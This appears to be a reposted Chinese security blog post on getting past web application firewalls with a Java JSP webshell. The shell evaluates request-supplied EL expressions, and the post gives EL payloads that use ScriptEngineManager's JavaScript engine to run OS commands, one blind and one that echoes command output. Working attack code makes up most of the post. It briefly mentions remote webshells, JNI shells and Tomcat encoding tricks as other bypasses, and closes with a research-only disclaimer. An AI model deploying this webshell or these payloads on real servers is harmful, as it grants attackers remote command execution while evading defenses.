前言:
翻自己以前写过的东西,在土司翻到了以前提到过的这个问题,这个问题之前查看别的师傅写的文章,很早就有了相关的解决方法,但是一直没回复这种的解决思路。
这里分享下,主要分享el表达式加scriptengine的思路,也当作水篇文章吧。
运用:
el表达式的shell
<%@ page import="org.apache.jasper.runtime.PageContextImpl" %>
<%
String res = (String)
PageContextImpl.proprietaryEvaluate(request.getParameter("test"),
String.class, pageContext, null);
out.print(res);
%>
无回显:
${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("new+java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()")}
有回显:
回显payload:
${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("var+s=[3];s[0]="cmd";s[1]="/c";s[2]="whoami";var+p=java.lang.Runtime.getRuntime().exec(s);var+sc=new+java.util.Scanner(p.getInputStream(),"GBK").useDelimiter("\\A");var+result=sc.hasNext()?sc.next():"";sc.close();result;")}
其他思路:
当然啦远程webshell和jni马的思路也是可以绕过的,也不一定要用这个思路
甚至于还可以利用补天大会老面提到的一个点,tomcat的编码特性来进行绕过。
如编码特性图:webshell内容为
执行:
最后:
好好学习,好好锻炼,好好生活,兔年冲啊。
原文始发于微信公众号(goddemon的小屋):java el表达式+script engine webshell bypass waf思路分享
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论